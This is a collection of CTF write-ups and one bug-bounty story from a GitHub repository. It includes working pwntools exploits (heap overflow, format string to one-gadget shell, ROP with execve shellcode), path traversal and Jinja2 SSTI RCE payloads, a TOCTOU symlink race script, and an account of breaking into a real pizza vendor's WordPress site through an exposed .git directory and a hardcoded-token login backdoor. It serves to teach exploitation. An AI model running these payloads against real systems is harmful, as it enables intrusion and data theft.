├── Articles ├── Detailed Writeups: Binary Exploitation.md └── How i hacked a famous pizza vendor in Tunisia ?.md ├── CSAW2020 └── WebRTC.md ├── CSICTF2020 └── Web.md ├── CastorsCTF 2020 ├── Shortcuts.md └── babybof1 pt2.md ├── DarkCTF2020 └── McQueen.md ├── FwordCTF 2020 └── Writeups.md ├── HackZone VIII └── Web Challenges │ └── README.md ├── Midnight Sun CTF 2020 Quals ├── pwn1 │ ├── README.md │ ├── exploit.py │ ├── libc.so │ └── pwn1 └── pwn2 │ ├── README.md │ ├── exploit.py │ ├── libc.so.6 │ └── pwn2 ├── NCSC2.0_CTF ├── JWT In a new way │ ├── README.md │ └── Source Code │ │ ├── accueil.php │ │ ├── connexion.php │ │ ├── crypter.php │ │ ├── deconnexion.php │ │ ├── decrypter.php │ │ ├── flag.txt │ │ ├── index.php │ │ ├── inscription.php │ │ ├── jwt.php │ │ ├── jwtmanip.php │ │ ├── robots.txt │ │ ├── shinobi.sql │ │ ├── style.css │ │ ├── style1.css │ │ └── style2.css ├── Love Django │ └── README.md └── Shinobis World │ └── README.md ├── Nahamcon CTF ├── Glimpse.md └── SSH Logger.md ├── RITSEC CTF └── README.md ├── Securinets Prequals 2k20 ├── Empire Total │ ├── README.md │ └── test.py └── The after-Prequal │ └── README.md ├── SecurinetsMiniCTF └── README.md ├── TAMU CTF ├── B64DECODER │ ├── README.md │ ├── b64decoder │ └── exploitfmt.py └── TROLL │ ├── README.md │ ├── solve.c │ ├── solve.py │ └── troll ├── TG-Hack └── Bufferfly │ └── README.md ├── UMDCTF 2020 ├── Cowspeak as a Service (CaaS) │ ├── README.md │ └── sploitcow.py ├── Easy Right? │ ├── README.md │ ├── baby │ └── exp1.py └── Jump Not Found │ ├── JNF │ └── README.md ├── WPI CTF 2020 ├── dorsia1 │ ├── README.md │ ├── exploit.py │ └── task.c └── dorsia3 │ ├── README.md │ ├── exploit.py │ ├── libc.so.6 │ └── nanoprint ├── rgbCTF └── Web.md └── ångstromCTF2k20 ├── A Peculiar Query ├── README.md └── app.js └── Shifter ├── README.md └── exploit.py /Articles/Detailed Writeups: Binary Exploitation.md: -------------------------------------------------------------------------------- 1 | # Detailed Writeups: Binary Exploitation # 2 | 3 | To make sure that i learned something well , i always want to write an article about that topic and it'll be an opportunity to do more researchs about it. 4 | The last two days our team Fword participated in two CTFs (UMD CTF and WPICTF) and we were among the top 20 teams in both CTFs so GJ guys <3 anyway that's why i decided to choose the best pwn tasks and write these detailed writeups about them to be a great practical introduction for people who want to dive into binary exploitation . 5 | 6 | **Note:** This article assumes that you have basic knowledge of assembly and C language 7 | 8 | ## Summary ## 9 | 10 | 1- **Jump Not Found** From UMD CTF : heap based overflow 11 | 12 | 2- **Dorsia3** From WPI CTF: Format string Vulnerability 13 | 14 | ## Jump Not Found 400pts (25 solves) ## 15 | 16 | ![TASK](https://imgur.com/nerLXcA.png) 17 | 18 | **Note:** You can Download the binary [HERE](https://github.com/kahla-sec/CTF-Writeups/blob/master/UMDCTF%202020/Jump%20Not%20Found/JNF), give it a try alone before reading the writeup that's the best way to LEARN . 19 | 20 | ### TL;DR ### 21 | 22 | - Exploit a Heap based overflow to overwrite a function address with the Win function address 23 | 24 | - Bypass a little problem of the presence of "0x0a"("\n") in the Win function address 25 | 26 | ### Introduction ### 27 | 28 | Before diving into the exploitation part , let's talk about the heap section ,you have probably heard or used **malloc** or **calloc** functions in C , 29 | these functions are used to allocate memory on the heap,it is a region of your computer's memory that is not managed automatically for you and used for dynamic memory allocation, unlike the stack which we dont have full control over it. 30 | 31 | ![SECTIONS](https://imgur.com/aVPbDZM.png) 32 | 33 | The allocation algorithm in an abstract way is quite simple , we won't dive into too much details , when for example we want to allocate a chunk of 16 bytes using malloc, it's reserved in the heap and malloc returns the address of the beginning of the chunk where we can store the data we want. 34 | 35 | You may be asking how your computer knows where the next free chunk starts ? That's quite simple, before each allocated chunk its size is allocated just before it, so the address of the next free chunk will be : 36 | 37 | > Address of the beginning of chunk1 + Its size 38 | 39 | This was in a really abstract way , you can do more research alone if you are interested , there is a lot of ressources in the internet :D 40 | 41 | ![Allocation](https://imgur.com/7ewvjK7.png) 42 | 43 | ### Exploitation ### 44 | 45 | Let the fun begin now :D after downloading the binary let's do some basic reverse engineering and read carefully its code , i used ghidra for that purpose , you can download it from its official website. 46 | 47 | ![CODE](https://imgur.com/Ra3YFyG.png) 48 | 49 | Observing the main function , we can notice that it's allocation two chunks , the first one its size is 0x42 (66 bytes) where our input will be stored and a second chunk which holds an array of function pointers , and based on our input (1 or 2 or 3) the program will call the appropriate function from the heap . 50 | 51 | ```C 52 | local_20 = (char *)malloc(0x42); 53 | local_18 = (code **)malloc(0x18); 54 | *local_18 = jumpToHoth; 55 | local_18[1] = jumpToCoruscant; 56 | local_18[2] = jumpToEndor; 57 | ``` 58 | Of course as the most vigilant readers noticed , it's using the dangerous function **gets** so we have the possibility to overflow stuffs :D Now here is our plan: 59 | 60 | We will abuse the gets function and overwrite the jumpToHoth address with **jumpToNaboo** function which will prints the flag for us 61 | Before that we need to figure out the offset so let's open the binary in gdb, set a breakpoint after gets and enter a simple pattern 62 | 63 | ![GDB](https://imgur.com/Xpc9YFp.png) 64 | 65 | After that let's visualize the interesting part of the heap 66 | 67 | ![HEAP](https://imgur.com/qb2XMHG.png) 68 | 69 | As you can see the "AAAAAAAABBBBBBBB" that we have entered followed by the array of function pointers , so the offset is obvious now which is 80, let's begin writing our exploit : 70 | 71 | ```python 72 | 73 | from pwn import * 74 | p=process("./JNF") 75 | #p=remote("192.241.138.174",9996) 76 | p.recvuntil("CONSOLE>") 77 | WIN=p64(0x000000000040070e) 78 | OFFSET="1"+"A"*79 79 | payload=OFFSET 80 | payload+=WIN 81 | p.sendline(payload) 82 | log.info("Found Flag ! ") 83 | p.interactive() 84 | 85 | ``` 86 | 87 | The reason why i wrote **OFFSET="1"+"A"*79** is that if you have read the code carefully we will notice that the choice of the function that will be executed is loaded from the beginning of the chunk (which is logic) so i wanted to do it in one shot. 88 | 89 | ```C 90 | gets(local_20); 91 | lVar2 = strtol(local_20,&local_28,10); 92 | *(short *)(local_20 + 0x40) = (short)lVar2; 93 | sVar1 = *(short *)(local_20 + 0x40); 94 | if (sVar1 != 2) break; 95 | puts("Checking navigation..."); 96 | (*local_18[1])(); 97 | } 98 | if (2 < sVar1) break; 99 | if (sVar1 == 1) { ..... 100 | ``` 101 | **Why 0x000000000040070e not the real address 0x000000000040070a** 102 | 103 | ![FUNC](https://imgur.com/LcvZ0yt.png) 104 | 105 | As we know gets function stops when it encounters "\n" (0x0a) so entering the real address of the win function will terminate our input and thus we will never be able to write the address where we want :( 106 | Fortunately observing the assembly code of **jumpToNaboo** function we will see that we can start from the address that holds the part we want , which is printing the flag : 107 | 108 | ![ASSEMBLY](https://imgur.com/YEv55cw.png) 109 | 110 | And Finally running the exploit will bring the flag for us :D 111 | 112 | ![FLAG](https://imgur.com/Hzqpy0X.png) 113 | 114 | That was a quite simple example of exploiting a heap based overflow thus it was only solved by 25 teams from 321 teams . Let's pass now to the second task which is a format string vulnerability. 115 | 116 | ## Dorsia3 250pts (55 solves) ## 117 | 118 | ![TASK](https://imgur.com/CkCR80H.png) 119 | 120 | **Note:** You can Download the binary [HERE](https://github.com/kahla-sec/CTF-Writeups/blob/master/WPI%20CTF%202020/dorsia3/nanoprint) and the libc [HERE](https://github.com/kahla-sec/CTF-Writeups/blob/master/WPI%20CTF%202020/dorsia3/libc.so.6), give it a try alone before reading the writeup that's the best way to LEARN . 121 | 122 | ### TL;DR ### 123 | 124 | - Exploit a format string vulnerability to overwrite the return pointer + Libc one gadget 125 | 126 | ### Introduction ### 127 | 128 | As a quick introduction this is a brief explanation of the format string vulnerability : 129 | 130 | > format string is a type of software vulnerability. Originally thought harmless, format string exploits can be used to crash a program or to execute harmful code. The problem stems from the use of unchecked user input as the format string parameter in certain C functions that perform formatting, such as printf(). A malicious user may use the %s and %x format tokens, among others, to print data from the call stack or possibly other locations in memory. One may also write arbitrary data to arbitrary locations using the %n format token, which commands printf() and similar functions to write the number of bytes formatted to an address stored on the stack. 131 | _**Wikipedia**_ 132 | 133 | A quick Example : 134 | 135 | ![FMT](https://imgur.com/1ImQ6zG.png) 136 | 137 | If things are not clear for you you can search for more ressources about format string vulnerabilities . Let the hack begin now :D 138 | 139 | ### Exploitation ### 140 | 141 | In this task we are given the source code of the task , the binary and the libc . 142 | 143 | ![CODE](https://imgur.com/26HRSAR.png) 144 | 145 | As you can see we can notice the format string vulnerability in the printf function and we have a leak of our buffer address in the stack and the system function. 146 | 147 | ![BINARY](https://imgur.com/by2UA23.png) 148 | 149 | Let's do some static analysis , running the file and checksec commands , we get these results: 150 | 151 | ![OUT](https://imgur.com/krietXO.png) 152 | 153 | So we have a 32 bit binary with PIE and NX protections enabled , so we won't be able to overwrite the GOT entry of a function since its address is randomized . 154 | 155 | **Let's Get our hands dirty** 156 | 157 | Firstly , let's create a pad function to make sure that the offset won't change and let's find the offset of our format string to know exactly where our buffer starts. 158 | 159 | ```python 160 | from pwn import * 161 | def pad(str): 162 | return str+(60-len(str))*"B" 163 | p=process("./nanoprint") 164 | p.recvline() 165 | p.sendline(pad("BAAAA%p|%p|%p|%p|%p|%p|%p|%p|%p|")) 166 | p.interactive() 167 | ``` 168 | 169 | ![OUT](https://imgur.com/065Lo1y.png) 170 | 171 | So our offset will be 7 , now let's talk about our scenario , we will overwrite the saved eip with a one gadget from the libc ==> Spawn a shell \o/ 172 | 173 | We have all we need , an address from the stack and the system function address from libc, so let's write our exploit and retrieve these address properly 174 | 175 | ```python 176 | from pwn import * 177 | def pad(str): 178 | return str+(60-len(str))*"B" 179 | p=process("./nanoprint") 180 | #p=remote("dorsia3.wpictf.xyz",31337) 181 | data=p.recvline() 182 | BUFFER=int(data[:10],16) 183 | SYSTEM=int(data[-11:-1],16)+288 184 | log.info("Buffer starts: "+hex(BUFFER)) 185 | log.info("System address: "+hex(SYSTEM)) 186 | pause() 187 | p.sendline(pad("JUNK")) 188 | p.interactive() 189 | 190 | 191 | ``` 192 | 193 | Since we have the libc binary let's calculate the libc base , and using gdb lets run the first part of our exploit and try to figure the offset between our buffer and the saved eip : 194 | 195 | 1- Run our little exploit 196 | 197 | 2- run gdb with the following command: 198 | 199 | >gdb -p \`pidof nanoprint\` 200 | 201 | ![GDB](https://imgur.com/3sALPs3.png) 202 | 203 | ![OUT](https://imgur.com/1KGRjzU.png) 204 | 205 | So the offset is 0x71 ,finally let's choose the one gadget , i have used the famous [one_gadget](https://github.com/david942j/one_gadget) tool 206 | 207 | ![LIBC](https://imgur.com/Ly6WJjh.png) 208 | 209 | After some debugging with gdb i figured that the constraints of this magic gadget are verified so we will use it in our exploit 210 | 211 | > 0x3d0e0 execve("/bin/sh", esp+0x40, environ) 212 | 213 | >constraints: 214 | 215 | >esi is the GOT address of libc 216 | 217 | > [esp+0x40] == NULL 218 | 219 | 220 | now we have everything we need let's finish our exploit : 221 | 222 | ```python 223 | from pwn import * 224 | def pad(str): 225 | return str+(60-len(str))*"B" 226 | #p=process("./nanoprint") 227 | p=remote("dorsia3.wpictf.xyz",31337) 228 | data=p.recvline() 229 | BUFFER=int(data[:10],16) 230 | SYSTEM=int(data[-11:-1],16)+288 231 | log.info("Buffer starts: "+hex(BUFFER)) 232 | log.info("System address: "+hex(SYSTEM)) 233 | BASE=SYSTEM-0x3d200 234 | one_gadget=BASE+0x3d0e0 235 | RET=BUFFER+0x71 236 | RET2=RET+2 237 | log.info("Writing to: "+hex(RET)) 238 | payload="B" 239 | payload+=p32(RET) 240 | payload+=p32(RET2) 241 | off1=(one_gadget & 0xffff)-9 #First 2 bytes 242 | off2=int(hex(one_gadget & 0xffff0000)[:-4],16)-(one_gadget & 0xffff) 243 | log.info("one gadget address: "+hex(one_gadget)) 244 | log.info("offset1 and 2: "+str(off1)+"|"+str(off2)) 245 | payload+="%"+str(off1)+"x" 246 | payload+="%7$hn" 247 | payload+="%"+str(off2)+"x" 248 | payload+="%8$hn" 249 | #pause() 250 | p.sendline(pad(payload)) 251 | p.interactive() 252 | 253 | #Offset buffer-ret : +0x71 254 | #offset fmt 7 255 | 256 | ``` 257 | 258 | Running our exploit will spawn the shell for us \o/ 259 | 260 | ![SHELL](https://imgur.com/MWLKHRX.png) 261 | 262 | Thank you for reading the whole writeup :D I hope you liked it , you can check my github repo where i share my [CTF writeups](https://github.com/kahla-sec/CTF-Writeups) ! Arigatoo \o/ 263 | -------------------------------------------------------------------------------- /Articles/How i hacked a famous pizza vendor in Tunisia ?.md: -------------------------------------------------------------------------------- 1 | # How i hacked a famous pizza vendor in Tunisia ? # 2 | 3 | Generally i'm not a fan of bug bounty programs but this time i tried to test my skills in some real world scenario and participate to secure some tunisian websites as they lack a lot of things in term of security :D 4 | It's 11h pm and i was sitting on my laptop like always doing an annoying java homework for school when i felt hungry :( 5 | and accidentally an X pizza (we will call it X pizza as i was asked to not reveal the company name) ad catched my eye on facebook. I decided to take a look on their website and try to 6 | find a way to break it. 7 | 8 | ## Exploitation ## 9 | 10 | I started browsing the website and doing some basic recon , it was a typical wordpress website without any catching 11 | exploits or some really outdated plugins . I have also ran the famous Wpscan and tried to brute force the admin account but unfortunately i got nothing. 12 | 13 | My next step was trying to explore if there's some insecure code management and Bingo it appeared that the developers forgot the .git directory there, so we can dump the source code of the web app. 14 | I used the famous gitdumper and extractor shell scripts to do that and we were so lucky! i found some juicy informations there ( a database backup for all users and promo codes , wp-config file containing all secret codes and salts used to hash users passwords ..) 15 | This was really some juicy informations but i wanted to explore more , i started reviewing the source code and after a while 16 | i found an awesome api , it checks a hardcoded token and then using only a phone number as input it logins to the phone number owner account :o 17 | 18 | ![CODE](https://i.imgur.com/MqDN2Ai.jpg) 19 | 20 | ### Why do they use it ? ### 21 | 22 | This api was meant to be accessed only from the call service employees and the developer told me that only some white listed ips were allowed to visit it. It was like a secret hidden backdoor . 23 | 24 | However using the hardcoded token we can access any account , you may be asking how i found the phone number of a privileged user , the database didn't have any useful informations for this (it was an old DB) so i had to think for a while and finally 25 | i remembered that i found and old list of orders informations in the uploads directory and usually the first order will be 26 | passed by the developer to test the web app so i searched there for a little bit and Bingo after entering the phone 27 | number w got access to the admin dashboard :D 28 | 29 | ![DASHBOARD](https://i.imgur.com/vcFJQX9.jpg) 30 | 31 | I wanted to stop here but i think it was possible to get a reverse shell by modifying the templating files and 32 | i believe that they are using a shared server (many websites hosted on the same server) 33 | so going so far won't be a good idea . 34 | 35 | I really had fun trying to break the website, the developer was so nice and fixed this out so quickly and for 36 | me i had to skip my morning classes as i completed all this at 4 am and i had to complete my annoying homework tomorrow in the lunch break. 37 | 38 | For those asking i didn't get any bounties for this , i didn't even expect that xd 39 | 40 | Thank you for reading this article, i hope you enjoyed your ride, don't forget to take a look 41 | at my previous articles and follow me on twitter for more exciting content :D 42 | -------------------------------------------------------------------------------- /CSAW2020/WebRTC.md: -------------------------------------------------------------------------------- 1 | # Web RTC (450pts) 39 solves # 2 | 3 | ![TASK](https://imgur.com/KJrEEZl.png) 4 | 5 | Last weekend,we have been a part of the CSAW CTF 2020 and our team Fword ranked 4th in MENA region. 6 | We managed to solve all web challenges with my awesome teammates [@Hera](https://twitter.com/Hera14165735) and [@Noxious](https://twitter.com/BahaBaghdadi) and we have particularly enjoyed **Web RTC** . 7 | 8 | ![SCOREBOARD](https://i.imgur.com/X0z8wys.png) 9 | 10 | ## TL;DL ## 11 | 12 | * Exploiting CoTurn server in order to gain SSRF. 13 | 14 | * Escalating SSRF to RCE using Redis. 15 | 16 | ## Overview ## 17 | 18 | We have a Real Time Chat web app and we were provided with the source code / Dockerfile / supervisor.conf. 19 | 20 | ![TASK](https://imgur.com/cBI0d2H.png) 21 | 22 | Examining the source code didn't really bring something to the table.But we got some juicy stuff ,reading the Dockerfile / supervisor.conf. 23 | It turned out that the application is using TURN protocol to relay the network traffic between peers and Redis as a caching system. 24 | 25 | ![TASK](https://imgur.com/thalPtZ.png) 26 | 27 | ## Exploitation ## 28 | 29 | Since the application didn't seem vulnreable, we decide to focus basically on CoTURN server exploitation. 30 | After searching around we found the following [HackerOne report](https://hackerone.com/reports/333419) which claims that it's possible to abuse the TURN Protocol to gain SSRF. In fact, 31 | the attacker may proxy TCP connections to the internal network by setting the **XOR-PEER-ADDRESS** of the TURN connect message (method 0x000A, https://tools.ietf.org/html/rfc6062#section-4.3) to a private IPv4 address. 32 | 33 | We used the following **[tool](https://github.com/staaldraad/turner)** to exploit that issue. 34 | 35 | ![TASK](https://imgur.com/M6NaeIz.png) 36 | 37 | We can notice that the Coturn server IP is returned to confirm the SSRF. 38 | 39 | ![TASK](https://imgur.com/L2aCve1.png) 40 | 41 | Unfortunately fetching localhost ip didn't work for us so we fired up wireshark to monitor the STUN (TURN Protocol is an extension of STUN protocol) packets. 42 | 43 | ![TASK](https://imgur.com/PmES4dZ.png) 44 | 45 | We can confirm that the coTurn server has some protections blacklisting local ips. We first tried to bruteforce the internal ip but in vain , finally we managed to bypass this protection 46 | using **0.0.0.0** ip: 47 | 48 | ![TASK](https://imgur.com/zQYbXit.png) 49 | 50 | ![TASK](https://imgur.com/gAqT0pL.png) 51 | 52 | And Bingo we achieved the first part! 53 | 54 | ### Escalating SSRF to RCE using Redis ## 55 | 56 | This part was somehow trivial but it took us some time to exploit Redis properly, we used some instructions from this **[tool](https://github.com/jas502n/Redis-RCE)** ( we fired a Rogue server from it) and executed the following commands: 57 | 58 | ![TASK](https://i.imgur.com/jUFM1jt.jpg) 59 | 60 | And Voilaa We got our beloved flag :D It was our first time dealing with RTC website and exploiting and it was really fun! 61 | 62 | **References:** 63 | 64 | * [Article About the vulnerability](https://www.rtcsec.com/2020/04/01-slack-webrtc-turn-compromise/) 65 | 66 | * [HackerOne Article](https://hackerone.com/reports/333419) 67 | 68 | -------------------------------------------------------------------------------- /CSICTF2020/Web.md: -------------------------------------------------------------------------------- 1 | After a long week of work I decided to participate in CSICTF2k20 with my team Fword since I didn't participate for a long time :( We were among the top 30 teams and we managed to almost solve all Web exploitaion tasks with my teammate @Hera. However I enjoyed solving File Library and The Usual Suspects tasks. 2 | 3 | # File Library 497pts (40 solves) # 4 | 5 | ![TASK](https://imgur.com/IRJZKbM.png) 6 | 7 | We are given the source code of the task : 8 | 9 | ```js 10 | const express = require('express'); 11 | const path = require('path'); 12 | const fs = require('fs'); 13 | 14 | const app = express(); 15 | 16 | const PORT = process.env.PORT || 3000; 17 | 18 | app.listen(PORT, () => { 19 | console.log(`Listening on port ${PORT}`); 20 | }); 21 | 22 | app.get('/getFile', (req, res) => { 23 | let { file } = req.query; 24 | console.log("file is: "+file); 25 | if (!file) { 26 | res.send(`file=${file}\nFilename not specified!`); 27 | return; 28 | } 29 | 30 | try { 31 | 32 | if (file.includes(' ') || file.includes('/')) { 33 | res.send(`file=${file}\nInvalid filename!`); 34 | return; 35 | } 36 | } catch (err) { 37 | res.send('An error occured!'); 38 | return; 39 | } 40 | 41 | if (!allowedFileType(file)) { 42 | res.send(`File type not allowed`); 43 | return; 44 | } 45 | 46 | if (file.length > 5) { 47 | file = file.slice(0, 5); 48 | } 49 | 50 | const returnedFile = path.resolve(__dirname + '/' + file); 51 | console.log("returnedFile: "+returnedFile); 52 | fs.readFile(returnedFile, (err) => { 53 | if (err) { 54 | if (err.code != 'ENOENT') console.log(err); 55 | res.send('An error occured!'); 56 | return; 57 | } 58 | 59 | res.sendFile(returnedFile); 60 | }); 61 | }); 62 | 63 | app.get('/*', (req, res) => { 64 | res.sendFile(__dirname + '/index.html'); 65 | }); 66 | 67 | function allowedFileType(file) { 68 | const format = file.slice(file.indexOf('.') + 1); 69 | console.log("index +1 is "+file.indexOf('.') + 1); 70 | console.log("format inside allowedfile is: "+format); 71 | if (format == 'js' || format == 'ts' || format == 'c' || format == 'cpp') { 72 | return true; 73 | } 74 | 75 | return false; 76 | } 77 | 78 | ``` 79 | I added some logging statements to facilitate things, as you can see when we visit **/getfile** we can provide in a get parameter a filename that will be displayed for us but there are some restrictions, 80 | we can't use whitespaces or "/", there are only four extensions that are allowed (js|ts|c|cpp) . 81 | 82 | ![TASK](https://imgur.com/ClTfqlL.png) 83 | 84 | After reading carefully the source code, I was pretty sure that we will use http parameters pollution because there is no check concerning the type of get parameters so we can enter an array and try to exploit the misbehaviour that may occur. 85 | 86 | Let's imagine that we enter the following array : 87 | 88 | > ["../../","../../","../../","../../","../../proc/self/cwd/flag.txt",".","js"] 89 | 90 | * **1st Check** : ``` if (file.includes(' ') || file.includes('/')) ``` 91 | 92 | When includes is applied to an array it will check if there's a field that is equal to the passed parameter (" " and "/" in our case) which is false here so we can successfully pass this check 93 | 94 | * **2nd Check** : ``` if (!allowedFileType(file)) ``` 95 | 96 | Let's take a look at the code of this function : 97 | 98 | ```js 99 | 100 | function allowedFileType(file) { 101 | const format = file.slice(file.indexOf('.') + 1); 102 | if (format == 'js' || format == 'ts' || format == 'c' || format == 'cpp') { 103 | return true; 104 | } 105 | 106 | return false; 107 | } 108 | 109 | ``` 110 | 111 | It will slice our array beginning from the indexOf(".")+1 so in our case the result will be the last field of our array which is "js" and Bingo we will also pass this check :D 112 | 113 | The following lines will remove the last two fields of our array : 114 | 115 | ```js 116 | if (file.length > 5) { 117 | file = file.slice(0, 5); 118 | } 119 | ``` 120 | so our array will become: 121 | 122 | > ["../../","../../","../../","../../","../../proc/self/cwd/flag.txt"] 123 | 124 | And finally after resolving the path returnedFile will contain /proc/self/cwd/flag.txt 125 | 126 | ```js 127 | const returnedFile = path.resolve(__dirname + '/' + file); 128 | ``` 129 | **Note:** __dirname which is the current directory is ignored because of our "../../" fields, and **/proc/self/cwd** is equivalent to the current directory. 130 | 131 | So finally our array will be resolved to the path we want, this is the final payload which is only a traduction to what we said before: 132 | 133 | ``` 134 | http://chall.csivit.com:30222/getfile?file[]=../../&file[]=../../&file[]=../../&file[]=../../&file[]=../../proc/self/cwd/flag.txt&file[]=.&file[]=js 135 | ``` 136 | ![TASK](https://imgur.com/sdvZ1eL.png) 137 | 138 | It was a really nice task so thanks to the author! 139 | 140 | # The Usual Suspects 499pts (32 solves) # 141 | 142 | ![TASK](https://imgur.com/qorhTCy.png) 143 | 144 | Visiting the website, a well trained eye can directly notice the possibility of an SSTI attack in icecream parameter. 145 | 146 | ![TASK](https://imgur.com/zbwADG6.png) 147 | 148 | We thought that it was a typical SSTI task but unfortunately even after getting RCE using the usual jinja2 SSTI payloads we didn't find anything. The first payload we used: 149 | 150 | > {{ ''.__class__.__mro__[1].__subclasses__()\[270\]('ls',shell=True,stdout=-1).communicate()}} 151 | 152 | After this step we really didn't know what to do, the server used here was Tornado, which is an asynchronous python web server so I started reading its documentation and I noticed that the Main class always inherits from **tornado.web.RequestHandler**. 153 | After some digging I got a nice idea , what if we list all the subclasses of Object ( The super class, it's the parent of all classes) Then we will list the subclasses of tornado.web.RequestHandler and finally we will check the globals of **get** function from MainHadnler class. 154 | 155 | * Get the RequestHandler class: 156 | 157 | > {{ ''.__class__.__mro__[1].__subclasses__()[363]}} 158 | 159 | * Get the MainHandler class which inherits from RequestHandler 160 | 161 | > {{ ''.__class__.__mro__[1].__subclasses__()[363].__subclasses__()[-1]}} 162 | 163 | And finally we will see the __globals__ of get function ( **__globals__** is a reference to the dictionary that holds the function’s global variables ). 164 | Final payload: 165 | 166 | ``` 167 | {{ ''.__class__.__mro__[1].__subclasses__()[363].__subclasses__()[-1].get.__globals__}} 168 | ``` 169 | Bingo we got our flag :D I asked the admin and he told me that this is the unintended solution of the task. 170 | 171 | ![DISCORD](https://imgur.com/8pcqJ3T.png) 172 | 173 | If you have any questions you can contact me on twitter @BelkahlaAhmed1 or contact our team twitter @FwordTeam ! I hope that you liked the writeup, and don't forget to participate in FwordCTF on 29th of August , a lot of fun challenges will be there. 174 | -------------------------------------------------------------------------------- /CastorsCTF 2020/Shortcuts.md: -------------------------------------------------------------------------------- 1 | # Shortcuts (465pts) # 2 | 3 | ![TASK](https://imgur.com/eBGWBx5.png) 4 | 5 | We are given a simple web app written in Golang where we have shortcuts for some commands executed on the server, after digging around we can notice that the server is returning the output of the command **go run foo.go** ( by having a look at processes) 6 | so if we upload our go script that executes any commands for us we can achieve a command execution :D But that's not the case if we try to upload any file it won't be executed , i think that there's a whitelist of the accepted filenames. 7 | 8 | If we try to execute the users shortcuts we will get the error below , so if we upload a file named users.go and then click users, our script will be executed and we will bypass this whitelist 9 | 10 | ![IMAGE](https://imgur.com/bjkx19l.png) 11 | 12 | After uploading it : 13 | 14 | ![SUCCESS](https://imgur.com/Dzm006Q.png) 15 | 16 | The content of **users.go** file : 17 | 18 | ```go 19 | 20 | package main 21 | 22 | import ( 23 | "fmt" 24 | "os/exec" 25 | ) 26 | 27 | func execute() { 28 | 29 | out, err := exec.Command("cat","/home/tom/flag.txt").Output() 30 | 31 | if err != nil { 32 | fmt.Printf("%s", err) 33 | } 34 | 35 | fmt.Println("Command Successfully Executed") 36 | output := string(out[:]) 37 | fmt.Println(output) 38 | } 39 | 40 | func main() { 41 | execute() 42 | 43 | } 44 | 45 | ``` 46 | 47 | If you have any questions you can DM on twitter @belkahlaahmed1 or visit my website for more interesting content and blogs https://ahmed-belkahla.me 48 | -------------------------------------------------------------------------------- /CastorsCTF 2020/babybof1 pt2.md: -------------------------------------------------------------------------------- 1 | # babybof1 pt2 (444pts) # 2 | 3 | ![TASK](https://imgur.com/R5bo1k7.png) 4 | 5 | It was a simple bufferoverflow where we are asked to pop a shell , first of all i tried ret2libc but idk why it didn't worked on the remote server, 6 | so i decided to use ret2shellcode ( NX is disabled ) but we don't have a stack address ? i created firstly a ROP chain to write my shellcode in the BSS since it's RWX and then i overwrote the GOT entry of exit@got 7 | with the address of my shellcode and finally i called exit => shellcode executed => Shell \o/ 8 | 9 | here is my final exploit: 10 | 11 | ```python 12 | from pwn import * 13 | p=remote("chals20.cybercastors.com",14425) 14 | #p=process("./babybof") 15 | p.recvuntil("name:") 16 | #pause() 17 | RET=p64(0x0000000000400566) 18 | PUTS=p64(0x0000000000400590) 19 | MAIN=p64(0x000000000040074d) 20 | POP_RDI=p64(0x00000000004007f3) 21 | GETS=p64(0x00000000004005d0) 22 | payload=cyclic(264) 23 | payload+=POP_RDI 24 | payload+=p64(0x601070) 25 | payload+=GETS 26 | payload+=POP_RDI 27 | payload+=p64(0x601050) 28 | payload+=GETS 29 | payload+=MAIN 30 | p.sendline(payload) 31 | shellcode="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" 32 | p.sendline(shellcode) 33 | p.sendline(p64(0x601070)) 34 | p.recvuntil("name:") 35 | payload=cyclic(264) 36 | payload+=RET 37 | payload+=p64(0x00000000004005f0) 38 | p.sendline(payload) 39 | p.interactive() 40 | 41 | ``` 42 | 43 | If you have any questions you can DM on twitter @belkahlaahmed1 or visit my website for more interesting content and blogs https://ahmed-belkahla.me 44 | -------------------------------------------------------------------------------- /DarkCTF2020/McQueen.md: -------------------------------------------------------------------------------- 1 | # Mc Queen (15 solves) 489 points # 2 | 3 | This was a linux task in DarkCTF, it was a great task and had too much fun solving it! 4 | 5 | ![TASK](https://imgur.com/h2yyNZZ.png) 6 | 7 | 8 | We have ssh credentials like always and every user has a separate container ( I was so glad to see that my solution to enable separate environments has really been beneficial for the community) 9 | ,however connecting to the server we find a note telling us that enumeration is the key so i started doing some basic stuffs and searched if there are any SUID binaries 10 | by running the following command : 11 | 12 | ```sh 13 | find / -perm -u=s -type f 2>/dev/null 14 | ``` 15 | 16 | ![TASK](https://imgur.com/g0yVsID.png) 17 | 18 | Bingo we find the following SUID binary : ``` /usr/bin/win_or_lose ``` 19 | 20 | My next step was to extract this binary in order to reverse it, i used the following steps: 21 | 22 | * Encoded the binary in base32: ``` base32 /usr/bin/win_or_lose ``` 23 | * Copied the result and decoded it locally ``` cat base32_res|tr -d "\n"|base32 -d > bin ``` 24 | 25 | Now after statically analyzing the binary with Ghidra , we can deduct the following: 26 | 27 | ![TASK](https://imgur.com/DZQEcHV.png) 28 | 29 | The binary is used to read the content of a file we specify in the arguments, but it checks firstly the owner of the file and if it's root it exits and never show its content. 30 | 31 | I tried to use a symlink that points to the flag.txt file but in vain, stat function always check the properties of the real file and follow symlinks. I got stuck here for some time trying to figure out how we can bypass this check and after a little bit of concentration 32 | I observed that the binary is checking for the owner before actually opening the file, so if we give it first a big file it will take a non negligeable time to check its owner and then in this short amount of time we can replace 33 | that big file with a symlink to the flag! I think you guessed it , it's time for TOCTU (time of check - time of use) exploitation , let's try to win the race. 34 | 35 | I wrote the following script to exploit this weakness: 36 | 37 | ```sh 38 | #!/bin/bash 39 | perl -e 'print "a"x20x1000x1000' >bigfile 40 | chmod 777 bigfile 41 | /usr/bin/win_or_lose bigfile & 42 | ln -sf /root/flag.txt bigfile 43 | ``` 44 | I wrote it in the server using some cat tricks: 45 | 46 | ```sh 47 | cat >exp.sh <getRepository(Jutsus::class); 36 | $jutsu=$repo->findOneBy(["id"=>$id]); 37 | $this->denyAccessUnlessGranted("SHOW",$jutsu); 38 | //fetch jutsu + htmlspecialchars+markdown 39 | $name=$jutsu->getName(); 40 | $desc=htmlspecialchars($jutsu->getDescription()); 41 | $description=$cache->get("jutsu".$jutsu->getId(),function()use($markdown,$desc){ 42 | return $markdown->transformMarkdown($desc); 43 | }); 44 | $publishedAt=$jutsu->getPublishedAt()->format('Y-m-d H:i:s'); 45 | $author=$jutsu->getUser(); 46 | return 